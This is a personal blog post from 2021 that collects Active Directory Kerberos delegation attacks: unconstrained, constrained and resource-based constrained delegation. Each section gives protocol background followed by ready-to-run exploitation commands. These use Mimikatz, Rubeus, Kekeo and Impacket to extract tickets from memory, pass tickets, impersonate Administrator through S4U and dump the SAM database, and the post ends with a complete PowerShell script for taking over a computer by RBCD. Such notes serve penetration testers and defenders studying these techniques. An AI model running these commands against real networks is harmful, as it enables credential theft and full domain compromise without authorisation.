A tale of Active Directory delegation attacks

The intent of this post is only to record tools, techniques and concepts behind some Active Directory (AD) delegation attacks for personal use.

… So I can return to these shenanigans and refresh my memory in the future. ;)

1. Unconstrained Delegation

Overview

Unconstrained delegation first appeared on Windows Server 2k aiming to solve the “Kerberos double hop” problem. Considering that user wants to access a ServiceA that interacts with a ServiceB via Kerberos:

Unconstrained Delegation Figure 1: Uncontrained Delegation (shenaniganslabs.io)

  1. User performs the pre-auth (sending a timestamp encrypted with its NTLM hash) and receives a TGT from the KDC (AS-REQ and AS-REP, respectively).
  2. User sends the TGT back to the KDC, requesting access to ServiceA. (TGS-REQ).
  3. KDC recognizes that the computer behind ServiceA has Unconstrained Delegation enabled - that is, it has the attribute TrustedForDelegation = true. It will then return a packet containing ((TGS for ServiceA) + (TGT for User)) to User.
  4. When connecting to ServiceA, User sends the TGS + TGT received in step 4. ServiceA stores User’s TGT in its LSASS in order to impersonate it when accessing ServiceB (delegation).
  5. If User needs information from ServiceB, ServiceA will request the KDC using User’s TGT for a TGS for ServiceB.
  6. The KDC then returns to ServiceA a valid TGS for ServiceB.
  7. ServiceA requests directly to ServiceB using this TGS and returns the information received to User.

Enumeration

Finding computers/users with unconstrained delegation:

  • AD Module
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
  • Powerview
Import-Module .\PowerView.ps1
Get-NetComputer -Unconstrained
Get-NetUser -Unconstrained

Exploitation

  • Mimikatz

Inside a computer with unconstrained delegation, check tickets in memory:

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

Nothing interest? Coerce someone to connect to this box. Some options:

  • mitm6
  • printerbug (spoolsample)
  • responder

Check with “Invoke-UserHunter” for new connections on the server:

Invoke-UserHunter -ComputerName servicea.lab.local -Poll 100 -UserName Administrator -Delay 5 -Verbose

Once you get the TGT ticket… extract and inject it to memory using mimikatz:

Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Invoke-Mimikatz -Command '"kerberos::ptt tgt_obtained.kirbi"'
  • Rubeus

Monitor new TGT tickets on memory with Rubeus monitor:

Rubeus.exe monitor /interval:1

After getting a privileged TGT… just copy the base64 string and paste on this way:

Rubeus.exe ptt /ticket:<base64_string>

Check klist and enjoy. o/

2. Constrained Delegation

Overview

Unlike Unconstrained Delegation, where it would be possible to delegate privileges to any computer, the basic principle behind Constrained Delegation is that a service can only delegate privileges for specific SPNs (e.g., CIFS/computerA.lab.local).

A typical scenario where Constrained Delegation is applied: Users need to connect to a service, but without using Kerberos authentication (using other ways to authenticate, such as NTLM or even form-based authentication). For this scenario, AD created extensions that would allow the first hop service to impersonate users: Service for User to Self (S4U2self) and Service for User to Proxy (S4U2Proxy).

Constrained Delegation
Figure 2: Constrained Delegation (docs.microsoft.com)

  1. User1 makes a request to Service1. The user is authenticated, but Service1 does not have the user’s authorization data. Typically this is due to the authentication being performed by some means other than Kerberos (form-based or NTLM).
  2. Service1, which has already authenticated with the KDC and has obtained its TGT (AS-REQ + AS-REP), asks for a TGS to itself (also called “forwardable TGS”) on behalf of the named user by using the S4U2self extension (User1 is identified on S4U2self simply by its username and realm name - opportunity to impersonate!).
  3. The KDC returns a forwardable TGS addressed to Service1 as if it had been requested from the user with the user’s own TGT. The service ticket might contain the authorization data of the user (what he can/cannot access in Service1).
  4. Service 1 can use the authorization data from the service ticket to fulfill the user’s request. The service then responds to the user.
  5. User1 makes then a request to Service1. Service1 needs to access resources on Service2 as the user (delegation). However, Service1 does not have a forwarded TGT from the user to perform delegation by a forwarded TGT, as described before for Unconstrained Delegation. Thus, two preconditions need to be met by service1 so that it can delegate User1 privileges to Service2:
    • Have a valid TGT. (That is, having already authenticated to Kerberos - AS-REQ + AS-REP)
    • Have a forwardable TGS, that is, a TGS to itself on behalf of User1. Service1 must always present the forwardable TGS obtained in the previous step (via S42Uself) for the S4UProxy extension as a proof that the user, who is being impersonated by Service1, has already authenticated himself in Service1 before.
  6. If Service1 meets these two preconditions, it can request a TGS for Service2 on the KDC via the S4U2Proxy extension. Service1 then requests to the KDC a TGS to Service2 on behalf of User1 via S42UProxy extension. Again, User1 is identified by its name and realm contained in the forwardable TGS for Service1 (step 2 and 3).
  7. KDC returns a “TGS for Service 2” to Service 1, but the client identity stored in the cname and crealm fields of the TGS are that of the User1, not Service 1.
  8. Finally, Service1 uses the service ticket to make a request to Service2. Service2 treats this request as coming from the user and assumes that the user was authenticated by the KDC.
  9. Service2 responds to the request.
  10. Service1 responds to the User1 request.

Enumeration

Finding computers/users with constrained delegation:

Import-Module PowerView.ps1
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

Exploitation

Ask a TGT to impersonate the user allowed to delegate privileges (lab.local\sqlservice) and then request a s4u (s4u2self + s4u2proxy) on behalf of a high privileged user (lab.local\Administrator).

  • Rubeus

As sqlservice has “CIFS/DC01LAB.lab.local” set on your msDS-AllowedToDelegateTo property, it would be possible to consider another service available for this same computer, such as ldap (in a DC, it would allow DCSync). The /altservice parameter do the work!

Rubeus.exe asktgt /user:sqlservice /domain:lab.local /rc4:<NTLM_hash> /outfile:tgt.kirbi
Rubeus.exe s4u /ticket:tgt.kirbi /impersonateuser:Administrator /msdsspn:cifs/DC01LAB.lab.local /altservice:ldap /ptt

Or all-in-one command:

Rubeus.exe s4u /user:sqlservice /domain:lab.local /rc4:<NTLM_hash> /impersonateuser:Administrator /msdsspn:cifs/DC01LAB.lab.local /ptt
  • Kekeo + Mimikatz
kekeo.exe
tgt::ask /user:sqlservice /password:<PASS> /domain:lab.local
tgs::s4u /tgt:TGT_sqlservice@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:cifs/DC01LAB.lab.local
exit

Use mimikatz to inject this ticket in-memory:

Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_cifs~DC01LAB.lab.local@LAB.LOCAL.kirbi"'

Check with klist to verify that everything went well.

  • Impacket
getST.py -spn cifs/DC01LAB.lab.local -impersonate Administrator lab.local/sqlservice:'<PASS>'
export KRB5CCNAME=Administrator.ccache

Having access to CIFS… we can dump SAM database.

secretsdump.py -k -no-pass DC01LAB.lab.local

3. Resource-Based Constrained Delegation (RBCD)

Overview

  • Feature that initially appeared in Windows Server 2012, as a new method for “delegation”, based on constrained delegation.
  • It is very similar to the classic constrained delegation but works in the opposite direction. @elad_shamir did a brilliant and detailed post about RBCD on his blog: Wagging the Dog.
  • Classic constrained delegation from serviceA to serviceB is configured on serviceA in the “msDS-AllowedToDelegateTo” attribute, and defines an “outgoing” trust from serviceA to serviceB, while resource-based constrained delegation is configured on serviceB in the “msDS-AllowedToActOnBehalfOfOtherIdentity” attribute, and defines an “incoming” trust from serviceA to serviceB.
  • A key point, and demonstrated by @elad_shamir in his blogspot, is that the UserAccountControl flag “TrustedToAuthForDelegation” is not really required to perform S4U2Self. What actually happens is that if a user who does not have “TrustedToAuthForDelegation” performs S4U2Self, a non-forwardable TGS will be returned.
  • A non-forwardable TGS would not be valid for S4U2Proxy in a classic constrained delegation, but it would be valid for Resource-Based Constrained Delegation.
  • Thus, if we have DACL rights for a computer (e.g., GenericAll) and a user with SPN set, it would be possible to achieve a “computer takeover” via RBCD. As every regular user in AD has privileges to create up to 10 computer accounts, it would be easy to get an account with SPN. The Powermad tool could be used for this.
  • The generic abuse case would work as follows (from @elad_shamir blogpost):

RBCD Attack Figure 3: RBCD Abuse (shenaniganslabs.io)

  1. The attacker compromises an account that has an SPN or creates one (“Service A”) and the DACL to configure resource-based constrained delegation on a computer account (“Service B”).
  2. The attacker configures resource-based constrained delegation from Service A to Service B.
  3. The attacker uses Rubeus to perform a full S4U attack (S4U2Self and S4U2Proxy) from Service A to Service B for a user with privileged access to Service B (e.g., Domain\Administrator).
  4. The attacker can pass-the-ticket and impersonate the user to gain access to Service B.

Enumeration

In most exploitation scenarios involving RBCD, we are interested in AD objects that have write privileges to a computer (e.g., GenericWrite, GenericAll, WriteDACL).

Assuming that we have already compromised an AD user account “UserA”, PowerView could be used to check the privileges of this user against an arbitrary computer account “ComputerA”:

$SID = Get-DomainUser UserA -Properties objectsid | select -exp objectsid
Get-DomainObjectAcl computerA.lab.local | ?{$_.SecurityIdentifier -eq $SID}

If the “ActiveDirectoryRights” returned from “Get-DomainObjectAcl” command indicates GenericWrite/GenericAll/WriteDACL, it would be possible to compromise this computer via RBCD.

Exploitation

Source: https://gist.github.com/HarmJ0y/224dbfef83febdaf885a8451e40d52ff (@harmj0y)

Import-Module powermad.ps1 # To add a new computer account
Import-Module powerview.ps1 # To the most of the commands

# Computer object we're taking over
$TargetComputer = "computerA.lab.local"

# verify the GenericWrite permissions on $TargetComputer
$AttackerSID = Get-DomainUser attacker -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL $TargetComputer | ?{$_.SecurityIdentifier -match $AttackerSID}
ConvertFrom-SID $ACE.SecurityIdentifier

# add a new machine account that we control
New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

# get the SID of the new computer we've added
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid

# build the new raw security descriptor with this computer account as the principal
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"

# get the binary bytes for the SDDL
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

# set new security descriptor for 'msds-allowedtoactonbehalfofotheridentity'
Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# confirming the security descriptor add
$RawBytes = Get-DomainComputer $TargetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl

# currently don't have access to primary\C$
dir \\computerA.lab.local\C$

# Invoke s4u (s4u2self + s4u2proxy) impersonating an DA account
Rubeus.exe s4u /user:attackersystem$ /rc4:<NTLM_hash_from_attackersystem> /impersonateuser:Administrator /msdsspn:cifs/computerA.lab.local /ptt

# Access CIFS!
dir \\computerA.lab.local\C$

# cleanup - clear msds-allowedtoactonbehalfofotheridentity
Get-DomainComputer $TargetComputer | Set-DomainObject -Clear 'msds-allowedtoactonbehalfofotheridentity'
Written on April 3, 2021